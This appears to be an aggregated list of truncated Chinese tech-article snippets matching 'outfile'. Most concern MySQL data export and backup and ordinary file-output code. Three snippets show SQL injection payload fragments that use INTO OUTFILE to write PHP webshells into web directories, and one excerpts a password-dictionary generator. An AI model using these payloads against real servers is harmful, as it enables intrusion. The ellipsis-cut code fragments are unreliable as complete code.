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MySQL逻辑备份into outfile

MySQL 备份之 into outfile 逻辑数据导出（备份）用法： select xxx into outfile '/path/file' from table_name; mysql...>select * into outfile '/back/emp3.sql' from emp; 无论是什么存储引擎，本身是一种数据导出的方法，同时可以用来辅助备份，它可以对一个表的其中一列或者某几列做备份...| | 2 | wowo | | 3 | lili | | 4 | yoyo | +------+------+ # 备份 mysql> select id, name into outfile

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MySQL之load data和select into outfile

MySQL之load data和select into outfile select into outfile 今天上午，帮助业务方解决了一个问题，过程大概是这样的。...业务方有一个需求是要实现在客户端的应用服务器使用select into outfile的方法导出一个文件。...然后我帮业务方的账号开通了file权限，他反应能够进行select into outfile的操作，但是在指定的目录里面找不到保存的文件！！！...INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file....load data这个语法是select into outfile的反义词，它是从外部将数据导入到MySQL服务器，它比select into outfile好一些，它提供了一些可选项，例如local选项

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MySQL 数据备份恢复（一）select into outfile & load data infile

load data infile 和 select into outfile 是 MySQL 用于导入和导出数据的命令。...select into outfile 语句用于将检索出来的数据按格式导出到文件中。load data infile 是将带有格式的数据文件导入到表中。...INTO OUTFILE 'file_name' [CHARACTER SET charset_name] [export_options] # 导入数据到MySQL...每行由换行符\n结束每行从空值''开始 lines terminated by '\n' starting by '' 导入导出配置说明导出数据使用 select into outfile...高清图片：https://www.processon.com/view/link/60b5eafbe0b34d06f2021455 select into outfile 导出数据 MySQL 服务器参数设置

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INTO OUTFILE, mysqldump）

INTO OUTFILE, mysqldump） MySQL提供了多种数据导出的方法，其中SELECT ... INTO OUTFILE和mysqldump是两个常用的命令。...INTO OUTFILE导出数据 SELECT ... INTO OUTFILE语句用于将查询结果导出到一个文本文件中。这种方法可以方便地将表中的数据导出为文件格式，以供其他程序或系统使用。...可以使用以下语句： SELECT name, email INTO OUTFILE 'employees.txt' FIELDS TERMINATED BY ',' LINES TERMINATED BY...INTO OUTFILE，MySQL还提供了mysqldump命令行工具，用于导出数据库的结构和数据为SQL脚本文件。与SELECT ......INTO OUTFILE不同，mysqldump可以导出整个数据库或指定的表，并且导出的数据可以用于备份或在其他MySQL服务器上恢复数据。

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Python3 使用pli优化图片，相机或手机拍图片根据exif旋转、纠正方向

upgrade pip 或者 pip install --upgrade pip 那么写个方法 from PIL import Image,ExifTags #定义保存图片都路径 def get_outfile...(infile, outfile): if outfile: return outfile dir, suffix = os.path.splitext(infile) outfile...= '{}-cover{}'.format(dir, suffix) return outfile #缩小图片大小，保持原始宽高 def compress_image(infile, outfile...= self.get_outfile(infile, outfile) while o_size > kb: img = Image.open(infile) #相机或手机拍摄图片需要根据...) / 1024 return outfile compress_image(infile, outfile='', kb=3200, step=5, quality=80) infile : 原始图片路径

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R语言可视化遗传连锁反应图谱

= "carrot.pdf" lmv.linkage.plot( carrot, outfile = outfile, ruler = TRUE, lgtitle = c("2170"...outfile =file.path(tempdir(), "carrot.pdf") lmv.linkage.plot( carrot, outfile = outfile, ruler...outfile = "hyper.pdf" lmv.linkage.plot(hyper,outfile,mapthese=c(1,4,6,15))##mapthese指的染色体的名称 ?...##为可视化结果添加标题 outfile ="hyper_titles.pdf" lmv.linkage.plot(hyper,outfile,mapthese=c(1,4,6,15),col.lgtitle...，需要用到shounonly参数 outfile ="hyper_showonly.pdf" lmv.linkage.plot(hyper,outfile,mapthese=c(1,4,6,15),lcol

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SQL语句写Shell

>' into outfile 'c:/www/info.php'# lines terminated by 写入 ?...id=1' into outfile 'c:/www/info.php' lines terminated by ''# ?...id=1’ into outfile ‘C:/www/info.php’ lines starting by ‘’# ?...>' into outfile 'c:/www/pass.php' 可执行命令方式创建执行命令形式的shell，但前提是对方未关闭系统函数。...>' INTO OUTFILE '/var/www/shell.php'; 使用方法：http://localhost/shell.php?

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【模式识别】探秘判别奥秘：Fisher线性判别算法的解密与实战

; outfile.open("sw100ab.txt"); outfile<<"//100A m1: \n"; for (i=0;i<NUM;i++) { outfile<<setw(5)<...{ outfile<<setw(5)<<setprecision(3)<<mj[8][i]<<","; } outfile<<endl; outfile<<"//100A SW1: \n";...if (j<NUM-1) outfile<<","; else outfile<<endl; } } outfile<<"//100b SW2: \n"; for (i=0;i<NUM;...; else outfile<<","; } outfile<<endl; outfile.close(); */ for (i=0;i<32;i++) { getswj(sw[...1][i]<<","; } outfile<<endl; outfile<<"//50A m2: \n"; for (i=0;i<NUM;i++) { outfile<<setw(5)<<

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MYSQL存在注入点，写WEBSHELL的5种方式

>' into outfile 'C:/wamp64/www/work/WebShell.php' http://172.16.55.130/work/sqli-1.php?...id=1 into outfile 'C:/wamp64/www/work/Webshell.php' lines terminated by '<?php phpinfo() ?...id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?...id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?...id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?

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【压缩图片】 python

(infile, outfile): if outfile: return outfile dir, suffix = os.path.splitext(infile)...outfile = '{}-out{}'.format(dir, suffix) return outfile def compress_image(infile, outfile=''...压缩文件地址，压缩文件大小 """ o_size = get_size(infile) if o_size <= mb: return infile outfile...= get_outfile(infile, outfile) while o_size > mb: im = Image.open(infile) im.save...o_size = get_size(outfile) return outfile, get_size(outfile) if __name__ == '__main__': app

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Java 解压缩 Zip文件（在李兴华老师基础上优化）

throws IOException { File file = new File("F:"+File.separator+"SWT_Designer.zip");//要解压的文件 File outFile...; outFile = new File("F:"+ File.separator + dir+ File.separator + entry.getName()) ; // 定义输出的文件路径...outFile.getParentFile().exists()) { outFile.getParentFile().mkdir(); }...outFile.exists()) { if(outFile.isDirectory()||entry.isDirectory()) { outFile.mkdir...(outFile); int len = 0; byte [] buf = new byte[1024*10]; while((len = is.read(buf))!

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seekg的应用案例

iostream> using namespace std; int main() { char data[100]; 以写模式打开文件 //ofstream outfile...; //outfile.open("new.out"); //cout << "Writing to the file" << endl; //cout << "Enter your...name: "; //cin.getline(data, 100); 向文件写入用户输入的数据 //outfile << data << endl; //cout...<< "Enter your name: "; //cin.getline(data, 100); 向文件写入用户输入的数据 //outfile << data << endl...; //cout << "Enter your name: "; //cin.getline(data, 100); 向文件写入用户输入的数据 //outfile <

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SQLAlchemy学习-3.(懒人专用)sqlacodegen自动同步数据库中表生成model 代码

2.3.0 mysql 指定导出表命令 # 指定表导出 model sqlacodegen mysql+pymysql://user:password@127.0.0.1:3306/dbname --outfile...=models.py 连接sql server数据库 sqlacodegen mssql+pymssql://user:password@host:port/dbname --outfile=models.py...连接sqlite # 将数据库中所有表导出为 model sqlacodegen sqlite:///testdb.db --outfile=models.py sqlacodegen 命令行参数-h...OUTFILE] [url] Generates SQLAlchemy model code from an existing database....OUTFILE file to write output to (default: stdout) 使用实例比如我在mysql数据库中有一张表，结构如下数据库连接地址 # 拼接配置dialect

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R语言代做编程辅导COMP 226: Computer-based trading in financial markets（附答案）

pricer functionThe function pricer should take three arguments as followspricer df a b 1 1 A 2 2 B 3 3 C部分解答pricer <- function(infile,outfile...Sbook=rbind(trade[i,],Sbook) if(is.null(price(Sbook,targetsize))==FALSE) { cat(file=outfile

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C语言作图库（kplot）示例

(TYPE) \ TYPE creat_outfile_##TYPE(char *outfile,char *suffix) { char *out=(char *)calloc(strlen...(outfile)+strlen(suffix)+2,sizeof(char)); sprintf(out,"%s%s",outfile,suffix); if (!...);static inline gzFile creat_outfile(char *outfile,char *suffix);static inline gzFile open_input_stream...(const char *outfile,const char *suffix) { char *out=(char *)calloc(strlen(outfile)+strlen(suffix)...(char *outfile,char *suffix) { char *out=(char *)calloc(strlen(outfile)+strlen(suffix)+2,sizeof(char

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python日志

isoformat() def outstd(self,*fmt): s = self.fmtstr(*fmt) print s def outfile...#print 'outfile '+s encoding = 'utf8' out = open(logfile, 'a+')#, encoding...self.outfile(self....),'[ERROR]',self.modulename,*fmt) if 'error' in self.loglevel['file']: self.outfile...(),'[FATAL',self.modulename,*fmt) if 'fatal' in self.loglevel['file']: self.outfile

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实现文件拷贝

inFile.exists()) { //源文件是否存在 System.out.println("源文件不存在"); System.exit(1); } File outFile =...outFile.getParentFile().exists()) { // 目的是否存在 outFile.getParentFile().mkdirs(); //创建目录以及文件 } InputStream...input = new FileInputStream(inFile); OutputStream output = new FileOutputStream(outFile); // 完成两个文件的实例对象...inFile.exists()) { //源文件是否存在 System.out.println("源文件不存在"); System.exit(1); } File outFile =...outFile.getParentFile().exists()) { // 目的是否存在 outFile.getParentFile().mkdirs(); //创建目录以及文件 } InputStream

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单细胞不同格式数据转换——sceasy包

to AnnData sceasy::convertFormat(seurat_object, from="seurat", to="anndata", outFile...SingleCellExperiment sceasy::convertFormat(seurat_object, from="seurat", to="sce", outFile...AnnData to Seurat sceasy::convertFormat(h5ad_file, from="anndata", to="seurat", outFile...to AnnData sceasy::convertFormat('filename.loom', from="loom", to="anndata", outFile...SingleCellExperiment sceasy::convertFormat('filename.loom', from="loom", to="sce", outFile

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MySQL注入点写入WebShell的几种方式

>",3 into outfile 'E:/study/WWW/evil.php'?...id=1 INTO OUTFILE '物理路径' lines terminated by （一句话hex编码）#?...id=1 INTO OUTFILE '物理路径' fields terminated by （一句话hex编码）#?...id=1 INTO OUTFILE '物理路径' columns terminated by （一句话hex编码）#?...过程中去修改配置文件，无法通过使用select into outfile来写入一句话。

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Python 实现专属字典生成器

yield data # 调用: OrderDict("template.log","pass.log",world,flag) def OrderDict(template,outfile...,world,flag): Count = 0 fp = open(outfile,"a+",encoding="utf-8") if len(flag) <= 0:...,world,flag): Count = 0 fp = open(outfile,"a+",encoding="utf-8") if len(flag) <= 0:...parser.add_argument("-o","--outfile",dest="outfile",help="指定输出字典的名字.")...args = parser.parse_args() if args.template and args.keyword and args.outfile: world = [

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